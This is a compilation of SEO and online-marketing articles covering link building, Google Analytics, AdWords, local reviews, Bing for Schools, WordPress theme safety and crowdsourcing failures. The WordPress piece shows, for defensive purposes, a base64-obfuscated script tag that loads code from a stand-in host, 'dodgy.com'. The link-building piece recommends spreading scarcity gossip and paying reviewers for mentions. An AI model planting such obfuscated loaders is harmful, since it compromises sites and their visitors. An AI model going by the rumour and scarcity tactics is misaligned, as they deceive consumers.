Well-Timed Link Building: How to Capitalize on Popular Topics
In SEO, timing is of the essence. Timing is very important for regular topics with a predictable life cycle. Your link building efforts will be much more effective when you understand the separate phases.
Is There a Predictable Life Cycle for Your Keywords?
Your industry probably has keyword trends that clearly show a life cycle (mainly product names). Google Trends offers some insight into keyword trending when your keyword stays above a minimum threshold.
Social media monitoring tools often provide even better insights into popular topics and the keyword combinations in which they are addressed.
Using Radian6 I discovered that there are four or five main phases in the life cycle of a mobile phone. In such phases people discuss distinctly different topics in combination with phone names. You should attract links in all these phases, but that requires a different type of message in each phase.
1. The Rumor Phase
In this phase people use words like “leaked”, “first”, and they guess potential names for the new Android or iPhone.
Link building: Find sites that rank in this phase by already Googling for keyword combinations like “iphone 5s” or “iphone 6” (potential names for future phones). Focus on attracting links from them by feeding their rumor. Provide the first photos or potential sketches. Speculate about its name, release date and specifications and do so for all important phones in this phase of their life cycle.
2. The Introduction Phase
Once a new phone is officially announced, sample phones are distributed to the media and the first reviews are written. Words like “introduction”, “review”, “release date” and “new features” become more important in this phase.
Link building: Partnering with review sites is the most important link building activity for this phase. Comparing and rating their reviews might work, paying them to mention your site or providing your own sample phones for review are all possible link acquisition strategies.
3. The Pre-Sale Phase
In this phase people start selecting the provider or shop for their new mobile phone. Words like “compare”, “features” and “support” (app compatibility) are often mentioned and searched in this phase.
Link building: Offering early bird specials or special package deals/editions for people that pre-register proved very successful. Providing comparison charts and selection wizards also makes your site more linkable. Gossip about scarceness or insufficient stock with certain providers has also worked wonders in the past.
4. The For Sale Phase
Once a phone is really for sale you should already be ranking because of all that effort in earlier stages of the mobile phone life cycle. In this phase keywords like “deals”, “price”, “prepaid” and “verizon” rise to the top of search volume and social mentions.
Link building: Combine your sales effort with link building, but try not to break Google guidelines for paid links. When you aid sites showing your advertisements with quality images and unique content, normal links can also be included. If you have access to sales numbers, share sales comparison charts for several phones. Even a widget, wizard, or other promotional tool can aid both sales and link building.
5. The Support Phase
Later in the sales phase accessories like cases are mentioned and searched for more often. Keyword combinations with “unlock” and “jailbreak” show that the phone has become an established name. Once second-hand or refurbished phones are sold on eBay, the most important phase of your mobile phone life cycle has probably ended. The search volume can however still be interesting for an upsell to the phone’s successor.
Link building: I seldom do link building in this latest phase of the phone life cycle. It is often much more interesting to re-use the acquired link value for the current top phone. Redirecting the old phone URL to the new model makes this possible. The old phone should however still have a dedicated page somewhere on your website.
Working in Phases
Whatever product you’re working on, phases from introduction to discontinuation are very common. Discover the life cycle of your products and tune your link building to the best link partners for each phase.
What sites rank in the top 10 in which phase, and what message or strategy have they used to do so? Try to be linked from these websites or emulate their strategy to attract similar links. Well-timed link building allows you to rank at the right time with half the effort.
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My Top 5 Most Used Custom Reports in Google Analytics
Well over a year ago now, I found myself in a bit of a situation. A new client who had been on Webtrends had decided to switch to Google Analytics and had lost all their previous data. That, in and of itself would be bad enough, but I was faced with taking the data that was available (about eight months worth) and figuring out what the top pages were and what keywords brought those visitors in through Google’s organic listings.
No problem, right? That’s what I thought, too – until I started diving down into Google Analytics standard data sets and realized that what I needed to see just wasn’t there.
The only related metrics I was able to view were pageviews. Those are a far cry from visitor numbers, so I learned that one way you circumvent this is through Google Analytics Custom Reporting.
Below are five of my most used Google Analytics Custom Reports. If you’re signed in to the Google Analytics account of your choosing, you can click the “Get Report” links in each section below for each of the reports. They will be automatically saved into your Analytics account and can easily be found in the custom reports section inside your profile.
Unique Visitors by Page
This custom report gives you the data I was looking for above. Installing it shows you the Unique Visitors by Page. Clicking on any URL shown to view that page’s source (i.e., Google, referral) and you can also at this stage segment this by Medium (i.e., Google organic, Bing CPC, etc).
Clicking on the Source associated with your chosen Medium will display the keywords that brought people to this page. With this report you are finally able to understand what keywords ultimately drove unique visitors to each page.
Conversions by Date and Time
This report was inspired by Marty Weintraub’s article “Google Analytics, Conversion Tracking Single Segment Reporting Power.” He wrote:
This report is an awesome tool for social media community managers because it could provide a roadmap for when engagement might yield fruit. Also, absent attribution concerns, there may well be insight for PPC day-parting.
I usually modify this report a bit (and you should, too!) in order to use a variety of goals. In the download here it’s just set up to use Overall Goal Completions, but your needs might be different. For example you might want to drill down through Dimensions to show the Source or change your Goal to be specific to your needs.
It’s important to know that Google Analytics “Hour of Day” displays the Year, Month, Day of Month, and Hour of the Day, in that order as a numeric string. So 2013060708 would be June 6, 2013 in the 8 a.m. hour.
Customer Behavior
I can’t take any credit for this one, but I know a great report when I see it. This report was designed by Peter van Klinken as part of a contest held by Avinash Kaushik and won him a signed copy of Kaushik’s excellent “Web Analytics 2.0” book. Peter states:
I use a report that specifies the different behavior between New and returning visitors. I use three categories as columns: Traffic, Conversions, Events. When viewing this report I set it to a pivot table and pivot by Visitor Type. Then select the 2 stats you want to compare within the category tab you’re in.
This was the first time I’d ever really used Pivot Tables inside of Google Analytics and it has inspired me to use this feature more and more. Thanks, Peter!
Top Converting Landing Pages
This Google Analytics custom report shows you your Top Landing Pages and how they are performing based upon goal completions and the values of these goals. I’ve included New vs. Return Visitors here because (especially on Landing Pages) it’s important to see how new customers are motivated by your site.
This report can be a great one to share with your client to get the conversation started about fixing underperforming pages. It’s also a great reminder that you should always set Goal Values!
Long Tail Convertors
Albeit a bit more complex to set up than the previous reports, this last one is one of my favorites. Essentially, the end result is that you will have quick access to all your long-tail keyword vital stats.
On Avinash’s blog he was kind enough to share his Advanced Segmenting filters to show your stats with 3, 4, 5, 10, 20 and 20+ words. I have recreated his long tail segment here and click on Create Segment to apply it to your account. If you’re unfamiliar with Advanced Segments, don’t worry. You can toggle this information at any time.
With these long tail phrases I wanted to know, at a glance, which ones did and didn’t work for me, so I built a custom report to help. I cleverly call it Long Tail Converters and you can click here to install into your Analytics account. This report, in conjunction with the Advanced Segmenting above, will give you your long tail keywords and how people interacted with your site off those keywords, including conversions.
Your Favorite Google Analytics Custom Reports?
Thanks again for all the hard work by the aforementioned individuals in making these reports possible. If you have any custom reports that you can’t live without in Google Analytics, please share in the comments below!
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How I Learned to Stop Worrying and Love Enhanced Campaigns
When Google announced their move to enhanced campaigns in February, many thought that Google had gone too far. Pundits said that it was a sign that their empire was sure to crumble. Who was Google to treat advertisers and agencies this shabbily?
I wasn’t immune to the feelings of helplessness and contempt as we faced a huge migration and a perceived loss of control of our clients’ search budgets.
Fast-forward just four months and I have a confession to make: I love enhanced campaigns! Once I got past the fact that Google had just forced a massive organizational change on us and everyone else, it started to become clear that these changes can benefit a lot more than just Google investors pockets.
So if you haven’t migrated already, or you have migrated but aren’t doing anything differently, here are some good reasons to adopt enhanced campaign functionality as soon as possible.
Get Your PLAs on Mobile
Enhanced campaigns give retail advertisers the opportunity to get their product listing ads in front of a mobile audience. This isn’t available to PLA campaigns that haven’t yet been “enhanced.”
While the PLA experience today on mobile is generally comprised of ecommerce advertisers, longer term this will be inventory that will be setting the stage for local promotions and availability front and center on the mobile device.
Simpler Campaign Set Up
Finally online-only advertisers don’t have to create hundreds of geo-targeted campaigns to ensure bid efficiency by market.
Armed with years of data on the efficiency of markets relative to one another, these ratios can now be easily implemented and stored within AdWords to be leveraged across all campaigns.
Reduce Budget Partitioning Headaches
Who ever really knew how to budget for mobile relative to desktop anyways? It was always an artificial distinction driven by historical data that was changing wildly from month to month.
That doesn’t matter anymore. Just set a budget for your search campaign and bid optimize to account for the relative value of the two traffic sources.
Use Consistent Metrics Across Device
As a corollary to the above, enhanced campaigns force better alignment between how mobile, desktop, and tablet campaigns are managed.
While Google would like you to believe that mobile bid adjustments should be close to zero, this figure should vary from business to business depending on that advertisers ability to turn mobile campaigns into dollars.
Enhanced campaigns force that comparison as opposed to having advertisers arbitrarily say that mobile deserves significant budgets because it’s “the future.”
You Should Pay More For Tablet Traffic
We all can acknowledge that it was pretty much unfair that we were paying a lower CPC for a higher qualified, more affluent customer on a tablet.
This move by Google to combine that traffic with desktop traffic should be a wake up call to get your mobile experience in gear and generate the revenue from it that you deserve.
Make Magic With Sitelinks
Perhaps the greatest benefit of enhanced campaigns is the flexibility it offers around using sitelinks. The ability to vary sitelinks at the ad group level and schedule their rotation enables much richer ad experiences.
For instance, you are now able to offer single product offers via sitelinks as opposed to generic sitewide offers. You can also enable phone numbers only when call center reps are available to your customers.
Summary
You can argue with the way enhanced campaigns were forced upon us. However, the results are undeniable. It’s time to embrace enhanced campaigns for what they can do for you, and stop whining about what they did to you.
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It’s Frickin Hard to Build Links if Your Site Sucks
It’s astonishing how often a potential client contacts me about link building for their site, only to discover their site isn’t anywhere near link worthy.
Don’t get me wrong, I’m always confident in my ability to build links. But building great links to a terrible site is like polishing a turd.
Perhaps that’s harsh, but it’s the simple truth. Link building is frickin’ hard if your site sucks – and even then, it probably isn’t helpful.
Honestly, no one wants to link to a domain name like cheapdiscountmysterymeat.com. No one wants to link to an ecommerce domain that only has product pages, bare minimum content, and sells discount yoga music. No one wants to link to a website that looks spammy or as if it’s been around since 1995 (and never updated once).
These are obviously extreme examples, but I’ll say it again. It’s frickin’ hard to build links if your site sucks.
Potential Client Checklist
If you’re going to work hard to increase your site’s visibility, make sure it’s worth sharing. It doesn’t make any sense to dump time, energy, money, and general resources into it if the site’s underdeveloped, lacks content, or is simply outdated.
Here’s what I look for when a potential client contacts me for link building services – and if these aren’t there, we’re either having a serious conversation or they aren’t a client:
- A sensible, non-spammy domain name
- Free of suspicious/manipulative practices
- Decent site content, including:
- A well-managed blog
- Page copy
- Solid product descriptions
- Signs of fresh content
- Clean, intuitive user interface
- Clean, sharp aesthetics
- A well-formed contact and about us page (no one’s interested in linking to a site that doesn’t even have contact information)
- This includes clear and easy ways to contact the site owner/company, preferably both email and phone
- Intuitive/obvious site navigation
- A cohesive theme across the site
- A search bar/search function somewhere on the site for easy product search
- General appeal – avoiding complete siloing (i.e. diesel powered underwater generators)
- A clean robot.txt – very basic, but can cause all sorts of problems if messed up
Generally speaking, that’s what I look for. More than anything, though, examining a website is a sense developed with time and experience. Within the industry it’s commonly referred to as the “smell test” – basically you know if something stinks.
With Penguin and Panda there’s a real need to build links that help humans, not solely designed for search engines (which would be manipulative). I call this FTBOM (pronounced ‘footbomb’) – for the betterment of mankind.
The links we build need to be highly relevant and make sense. They should be on sites that a real human would habitat, used in a way that a real human would click through and be happy about the destination.
Build links like Google doesn’t exist – links that are creative, helpful, and useful not just to the linkee but to the linker and clicker, as well.
And if we’re holding ourselves to these standards, why would we build links for websites that suck and are counter to the direction we’re working toward?
It’s Frickin’ Easy to Build Great Links to Great Sites
Building great links for a client with a great site, simply said, is great. It’s a complete win-win. We’re able to go out and build great links with much less effort than we’d use for even an average site.
Other websites are more likely to link with considerably less persuasion, and we aren’t forced to rely on clever strategies and tactics. The value is already there, built into the website itself – there’s no need for us to provide, manufacture, or otherwise sell value.
At the end of the day the best links are always built based upon this inherent value. That’s what linking is – a vote of confidence, a physical recommendation of trust. One site saying “I think that going to this site will be worth your time, and here it is”.
When a site is truly great, building that link becomes a natural process. You find other great and authoritative sites, reach out and express the value of your website, and why their visitors would be benefited by a link from their site to yours.
No strategies, no tactics, no manipulation, no subtlety. Just straightforward honesty, with everyone happy. The client gets great links, the linking website’s visitors aren’t misled and provided a valuable resource, and we get to go home knowing we made the Internet a better place.
Build Links, Add Value
The simple truth to the Internet is added value. If you want to be successful, find a way to add value, consistently.
Finding a way to add value isn’t easy, obviously. But if you’re willing to put the time, energy, and creativity into making a great site, everything else will be easier for it.
The old expression “well begun is half done” comes to mind, as do “What is once well done is done forever” and “If you don’t have time to do it right, when will you have time to do it over?”.
Aristotle, Henry David Thoreau and Hall of Fame basketball coach Jon Wooden, respectively.
Simply said, if you’re going to do something, you may as well take the time to do it right. Otherwise, you’ll regret it. Cutting corners never pays off in the long run, and in the end will result in more time spent with continual fixes or an entire rework.
It all starts with building something actually valuable – set yourself apart from the competition, make yourself unique, and add overall value. The sharing and linking will come naturally after that, with minimal elbow grease.
I’ve said it before and I’ll say it again – the best link building tool ever created was the human brain. Start with value and it will pay off in spades.
And if you don’t?
It’s frickin’ hard to build links if your site sucks.
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Google Simplifies Process to Link AdWords, Analytics
If you’ve had problems integrating your Google AdWords and Google Analytics accounts together, you’re in luck. Google is offering better support in order for advertisers and users of Google Analytics to link their accounts together.
While the change isn’t immediate, the new linking process will be launched to all Google Analytics accounts in the coming weeks.
By logging into the admin area of Analytics, you can link your two accounts together. Alternatively, in the account area of your AdWords account just click and words linking in the account column, then click AdWords Linking in order to start their new linking wizard.
By linking the two accounts, users of both programs can have more integral data in order to determine marketing effectiveness and ROI when combining the data from both programs.
There has long been issues with advertisers linking up their analytics data, particularly if they’re under two different Google accounts or if it is managed by client versus agency. Linking AdWords to Google Webmaster Tools remains unchanged.
Chris Morgan from the Google Analytics team is one of the Googlers working on this, and said it’s a complicated process of linking the two accounts has now been reduced down to only three clicks.
The thing I’ve been working on for months is launching! If you haven’t linked your AdWords accounts to your GA accounts because it’s too many clicks, we cut it down to 3.
Since Google has not specified that this is U.S. only, it should be available to all customers, regardless of their country.
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Local Business Reviews Read By 85% of Consumers [Survey]
BrightLocal has revealed insights from their new consumer review survey looking at local search. Not surprisingly, the usage of local search has increased over the past couple of years, as well as the types of businesses that people are searching for. What is surprising is how people are using local search, and it might not be what you would automatically think of.
Despite a large increase of numbers of users who are using the Internet to find local businesses when comparing numbers from 2011 to 2012, the startling fact is how small the actual usage of the Internet on a weekly or daily basis is. In fact over 30 percent of respondents stated that they have only used the Internet between two and five times in the previous 12 months to find a local business.
Even when compared to the 15 percent who use the Internet on a weekly basis to find local business and the 7 percent who use it on a daily basis, it is still pretty surprising about the lack of Internet adoption by those trying to find local businesses in a day and age when many local businesses are dropping Yellow Pages and newspaper advertisements.
What are people using local search for?
Restaurants and cafés are far in the lead, with nearly 70 percent of respondents stating that they have used the Internet to find a restaurant or café in the last 12 months. General shops, hotels/BB/Guest Houses, clothing shops, and doctors/dentist were all in the top five.
Consumers seem to be taking online customer reviews into consideration when searching for local businesses, with 85 percent of consumers saying they do read online reviews for local businesses and more than 60 percent reading reviews for restaurants and cafés.
What is good news for local businesses is the fact that not many people are just reading the first review for a local business. More than 60 percent read between two and six online reviews before they form an opinion on the business.
But despite the prevalence of local business marketing, people are far more likely to recommend a business through word-of-mouth rather than online. But what is interesting is it has declined over the last year, with about 75 percent recommending a local business through word-of-mouth in 2012 and down to about 72 percent in 2013.
Of the online recommendations, Facebook was the clear winner. Slightly more than 35 percent recommended a local business on Facebook, which is an increase from 31 percent in 2012. Google+ and Twitter are both slightly under 15 percent with Twitter gaining much more ground over the past year.
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Bing Offers Schools a Safe, Advertising-Free Search Experience
Microsoft wants schools to use Bing as the default search engine. The Bing for Schools program, announced earlier this week, is offering U.S. based schools a tailor-made search experience using Bing.
The program is open to K-12 schools and will:
- Remove all advertising from search result pages.
- Filter out adult content.
- Use SafeSearch by default and remove the ability to change it.
- Offer additional content to enhance digital literacy skills.
Bing for Schools is expected to augment the work Microsoft has done through their Partners in Learning network. The service will not require any additional software, but the announcement suggests Bing will “enable the experience across all searches from within the school’s network.”
Admittedly, Bing isn’t being very forthcoming with more details of the program. In fact, the Bing team still has yet to determine the details of how exactly the service will work out of the gate.
Bing for Schools will be a voluntary service that schools will need to sign up to use. However, it is a free service for those schools choosing to opt-in.
Matt Wallaert, Bing Behavioral Scientist, stated in the release that more information will be made available once the new school year draws closer.
“We see the program as something we can build alongside teachers, parents, and visionaries to create the best possible search experience for our children, and will continue to update you with new information as we work towards our launch later this year,” he wrote.
The value proposition is certainly there. Putting the product front-and-center in schools where students are forced to use them every day is certainly a strategy that ultimately worked for Apple. But with missing details the question of whether schools will sign up is important.
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How to Choose Trustworthy WordPress Themes & Plugins
How can you identify trustworthy themes and plugins? There are a few telltale signs. Here are some ways you can identify trustworthy themes and plugins so you can be rest assured the code is of good quality and, more importantly, safe.
Trust the WordPress Directory
WordPress plugin directory contains a rich and abundant collection of free themes and plugins. The great thing about the directory is that it is maintained and policed by a great team of contributors, including people like Ipstenu who is contributes directly to the WordPress core.
This maintenance is invaluable as they are very quick to act on reports for untrustworthy content. Abusive themes and plugins are promptly removed, and the majority are reviewed before the first iteration is published.
Download Counts and Reviews
In the directory, look at download counts. Yes, there may be a new plugin which will obviously have a low download count but, generally, a plugin with more than 100,000 downloads is something you can trust more.
Additionally, any registered user can review a theme or plugin and rate it out of 5. Reviews are a great indication of how the plugin performs on people’s sites. Reviews may also be useful to double check on specific features, or possible conflicts with other themes and/or plugins running on your site.
Read reviews that are rated 1/5. Reviewers generally rate something 1 out of 5 if a plugin is genuinely of low quality or doesn’t work, but sometimes a user can give something a low rating because it doesn’t work for themonly, not knowing that some other conflict may be happening. In addition, WordPress mods do check on reviews to overlook their substance.
Support Areas Are Your Friend
Each theme and plugin hosted at the directory has its own support area. Take a quick look inside to see if there are a lot of issues and, if so, how much they could affect your own installation.
Also look at the proportion of threads labeled [resolved]as this shows the author’s own activity within the area – and if evidence that support is offered and potential bug fixes are being seen to.
Different Versions
Another thing to look out for is when the plugin was last updated (or at least look at whether the author is contributing to the support section, as above).
Generally, any plugin that hasn’t been updated in more than 2 years is a plugin you should avoid. This is mainly because WordPress, in terms of core code, has evolved a lot over the past two years and with it includes new functions and processes which developers need to adopt to ensure it is compatible with current versions. Two years ago today the latest version of WordPress was 3.1.3 – as opposed to today’s 3.5.1 (with 3.6 soon to be released).
NEVER Download Free Themes
This rule doesn’t have to apply to free themes in the WordPress directory that have already satisfied the trust mentioned above – I am referring to themes available on the web in general. Don’t trust these themes. The code could contain anything, and could be harmful to your site both in terms of performance and security.
Essentially, it would be very easy for anyone to develop a simple WordPress theme and code it in such a way that they could have your whole installation (including posts, pages, usernames and general login credentials) conveniently emailed to them – or someone could run a simple script on the site that sends details about every visitor to your site.
Another thing to avoid is trying to find a free version of a premium theme or plugin. It’s easy enough to search for “[theme name] WordPress theme download free” and find what you want, but that zip file could have been forked by anyone. I have tested this once by purchasing a premium theme and then downloading one on the web offered for free. The difference between the two were slight, but enough to raise concerns.
base64_decode is Your Enemy
The main culprit of hidden abusive scripts can be found by searching all of your theme or plugin files for “base64_“. This function has obvious honest intentions but is used widely within WordPress themes and plugins for dishonest means. This function is used by developer to insert encoded scripts without your being able to find them as easily.
For example, let’s say someone wants to include the following script into your theme:
script type=”javascript” href=”http://dodgy.com/script.js” /script
The dodgy function they can produce is:
$str = base64_decode(‘PHNjcmlwdCB0eXBlPSJqYXZhc2NyaXB0IiBocmVmPSJodHRwOi8vZG9kZ3kuY29tL3Nj
cmlwdC5qcyI+PC9zY3JpcHQ+’);
Hidden well, right? To ensure you have none of these scripts running (I’m yet to see a trustworthy theme or plugin that uses it for “normal” purposes), remove all instances from all your plugin/theme files. If you aren’t confident in removing this, then at least contact the plugin/theme developer and ask how and why it’s being used.
N.B. This function is not limited to WordPress. On Tuesday we removed this function from a Magento installation. Be careful as this script was a blatant hack from an old installation we recently took control over.
Test the Developers
A few months ago I purchased a WordPress theme from a well-known premium theme directory. The theme itself didn’t work very well as soon as we started to make the simplest of edits.
Upon further inspection I found out that the simplest of requirements set out by WordPress were ignored. The developer had numerous themes so decided to purchase another just to test and turned out that the same rookie mistakes were being adopted in both themes.
WordPress created these requirements so that minimal conflicts and errors would occur, and yet this is all too common when the themes don’t comply with WordPress’ own rules. The shame in my example is that the author is publicising himself as a WordPress theme developer and capitalizing (very well) from it, yet is ignoring the core of WordPress theme development best practices.
One Simple Test
When purchasing a theme, the first thing I do is look at the code to see if there is anything detrimental in the code. For people who aren’t experienced with WordPress themes but deal with them a lot, I would suggest reading and understanding the WordPress page on theme development (you don’t have to be a complete techie to understand it). If you’re a beginner, one telltale sign of weak development is looking at how scripts are run. If you see a CSS style or JavaScript that is literally written like so:
link rel=”stylesheet” type=”text/css” media=”all” href=”http://domain.com/wp-content/themes/themename/css/random-style.css” / script type=’text/javascript’ src=’ http://domain.com/wp-content/themes/themename/js/functions.js’
Instead of this:
wp_register_style(‘random-css-style’, get_template_directory_uri() . ‘/css/random-style.css’); wp_enqueue_style(‘ random-css -style’); wp_enqueue_script(‘functions-script’, get_template_directory_uri() . ‘/js/functions.js’);
I would immediately ask questions. The functions wp_enqueue_style() and wp_enqueue_script() are easy to implement, and basic required functions within the core code. If this isn’t implemented correctly, I automatically doubt the rest of the code.
This was the case with my example above and both themes were refunded… however, this isn’t the solution I wanted. It wasted my time, and the theme directory’s time to refund me and report back to the author. The author had his own support site but was never maintained and eventually shut down completely – not something you want when you paid for the theme!
Summary
As you can see, there are a few telltale signs of poorly developed themes and plugins. Hopefully now you’ll be able to keep yourself safe from any suspect themes and plugins in the future.
Have you had a bad experience with a plugin or theme (free or paid)? Please let us know in the comments below.
Do you know a marketing visionary?
ClickZ will be honoring 10 thought leaders for their achievements and contributions to the online marketing industry. Shine a spotlight on those whose work has earned them exceptional repute. Call for entries ends Monday, July 22. Submit Your Nomination »
AdWords Top Movers Report: What It Is & What It Should Be
Each morning, millions of people log into their AdWords and Bing Ads accounts to see how their performance was on the previous day. This often includes reviewing which keywords drove the most traffic, how that new ad text you created is performing, and how you’re pacing against your client’s goals.
Each SEM manager most likely has their own approach and set of reports they run. Unfortunately, to truly understand how your account is performing, it can take some time. Thankfully, Google has released a new feature: the top movers report.
Per Google, this report will “show you which campaigns and ad groups have experienced the largest changes in clicks and cost, and highlight changes you made which might have contributed to those moves.”
Running the Top Movers Report
The top movers report will be found under the Dimensions tab. You’ll need to select two consecutive time periods of equal length.
Once the date has been selected you will be shown the campaigns and ad groups that experienced the largest change during that time period. You can compare periods of 7, 14, or 28 days, or look at reports generated in the last 90 days, according to Google.
What Data is Available?
Once the report is created you will be presented with a roll up of information such as Top Increases, Top Decreases, Total Change and more. These data points will be available for both cost and clicks.
When you drill down further into the top movers data, Google will actually provide a “possible cause” of why the change occurred. Per Google’s AdWords Blog you could see “bids were increased” or “new keywords were added”.
You will also be provided with additional information as the exact change that occurred (example: an increase of 100 clicks), the percentage of change as well as additional information such as impressions, CTR, Avg. Pos and Avg. CPC.
How Can You Use the Top Movers Report?
At first glance this new report seems quite helpful. SEM managers will be able to log into their accounts run one single report and know what campaigns and ad groups need to be focused on. You’ll easily be able to see if the changes you made to your account have had a positive or negative affect on the performance of your account.
This report can also be super helpful to those accounts which have multiple SEM managers touching them. In most agencies you’ll see a lower level employee making the day to day adjustments on the campaign and the more senior manager overseeing the optimization efforts and client relationship. With this report, the senior team member can easily see what has caused the fluctuation in account performance.
When creating reports, access to insights and changes in performance will be easier than ever. Simply select the date range and any major change that caused fluctuation in performance is within reach.
What Can Google Improve?
While these reports definitely will help streamline a SEM manager’s workflow, it could be even better. With data only appearing at the campaign and ad group level, there is still a level of granularity missing from the report that will cause the SEM Manager to dive deeper.
If you took the time to set up a very granular account structure this report will save you quite a bit of time. If you happen to have larger campaigns and ad groups that don’t have a clear structure strategy behind them, you’ll still be spending your morning shifting through keyword and ad text level data to determine what really occurred.
The next most obvious and glaring need for improvement is the inclusion of conversion data. For most SEM managers, spend levels and total clicks aren’t KPIs. Having data points such as cost per conversion, conversion rate, and even total conversions would be extremely informative and actionable.
In Google’s blog post there is no mention of device level data. It would be extremely beneficial to understand if the change in performance was related to desktop and laptops or mobile devices.
You’ll also notice that the top movers are selected by total change (number of clicks) instead of percentage of change. If you happen to ad groups that drive a significant amount of traffic compared to others, I’d expect to see them quite often.
Do you know a marketing visionary?
ClickZ will be honoring 10 thought leaders for their achievements and contributions to the online marketing industry. Shine a spotlight on those whose work has earned them exceptional repute. Call for entries ends Monday, July 22. Submit Your Nomination »
Crowdsourcing Gone Wrong: How Brands Can Avoid Messy Marketing Mistakes
We’ve all heard about the wisdom of crowds, with Wikipedia and even entire industry of television voting shows attempting to prove the paradigm.
By involving their audience to make them feel like their input is listened to, a brand can build advocates and perhaps come up with ideas they wouldn’t have had on their own.
However, it doesn’t always go right.
Unsuspecting marketers who blindly attempt to take advantage of the crowds may find themselves causing more issues than benefits for their brands.
The Wit of Crowdsourcing
Dinna dinna dinna dinna, dinna dinna dinna dinna Durex
Earlier this year Durex decided to offer a new service where their condoms would be sent directly to couples in need in cities across the world, either on the web or using an app. Their marketing team decided that the best way to kick this campaign off was to ask their users to pick the first city this would launch in.
Unfortunately for them they didn’t think ahead and left it open for any city to be submitted. Thanks to the wit of the crowds, this resulted in Kuala Lumpur ending in second place, and the predominantly conservative, Muslim, although amusingly named, city of Batman, Turkey.
Durex closed the campaign down without offering the service anywhere, let alone in Batman.
Ha ha ha, hee hee hee, I’m David Bowie
In 1990 David Bowie decided to do a greatest hits tour “Sound+Vision”. In order to determine what songs to play he let the crowds decide.
As it was in those prehistoric, pre-Internet days, the votes were collected via telephone. Music magazine NME heard about it and asked their readers to vote for one specific Bowie song – “The Laughing Gnome”. The vote was scrapped with that song in the lead.
(The author would like to apologize for getting that stuck in your head).
D’oh the Dew
Last August Mountain Dew was ready to launch an Apple version and decided to get the crowd to share their wisdom by asking them to name this new variant. As you’d expect, the crowd decided to show their wit instead, by submitting and voting up names that wouldn’t be allowed anywhere near a bottle of soda.
The vote was quickly cancelled, and the soda was imaginatively named… “Apple Mountain Dew“.
I’m Not Loving it
Early last year, over on Twitter, McDonalds decided to use the hashtag #McDStories to get customers to share their stories of McDonalds. Apparently they thought that nothing could go wrong…
Ask Jonny… About Pedestrianisation
Last year English soccer player Jonny Howson transferred from his hometown team, Leeds United, to Norwich City. The Leeds United fans weren’t thrilled that he was transferred, given that he was the team captain, so when Norwich announced that they were taking questions for Jonny on Twitter…
…the Leeds fans took over the chat, completely.
How Can You Avoid These Mistakes?
Set Boundaries
The first thing you should do is set boundaries. If Durex had picked 20 cities around the world for their condom delivery service, and asked people to vote on those 20 cities, then this would have worked for them. They’d have been able to control the situation by preventing the crowd adding in cities that they’d not be able to deliver to.
Similarly David Bowie’s people should have restricted the options to a subset of his work, perhaps all of his songs that charted except for any gnome related ones.
Monitor and Moderate
If you truly want to make sure that the crowd can submit what they want, then you need to ensure that you firstly have the TC’s in place that inform users that you have the right to take down anything derogatory, defamatory or just plain dumb. Then you need to actually enforce it.
Monitoring the suggestions and deleting inappropriate ones would probably have helped Mountain Dew with their issue. If the voting was taking place on their site, and they had the development resources, then implementing a filter of some kind, to not show any suggestions with “Hitler” or other words that had no place in the crowdsourcing, would also have been a good idea.
Don’t Be Stupid. Step Outside the Company and Think
There are lots of people that have a beef with McDonalds, from PETA to anti-obesity campaigners. While inside McDonalds corporate HQ the concept of getting customers to share their stories may have resulted in high 5’s all around, stepping back and thinking about prevailing sentiment around the company may have given them pause for thought.
While Norwich City wanted to engage their fans (and they have over 3x the number of followers than the Leeds United official twitter account), they should have realized that there was a prevailing sense of anger amongst the Leeds fans about the Jonny Howson transfer, and should perhaps have either waited for that to die down, had the QA sessions somewhere where they’d have more control, or just simply used another player.
What to Do When Crowdsourcing Goes Wrong on You?
If, despite your best planning, crowdsourcing heads off in a bad direction, and you have no way to steer it back in the right direction, then pulling the plug is the best way to go. Just take whatever you’ve learned from the experience and make sure to apply it the next time you try to do something similar.
Do you know a marketing visionary?
ClickZ will be honoring 10 thought leaders for their achievements and contributions to the online marketing industry. Shine a spotlight on those whose work has earned them exceptional repute. Call for entries ends Monday, July 22. Submit Your Nomination »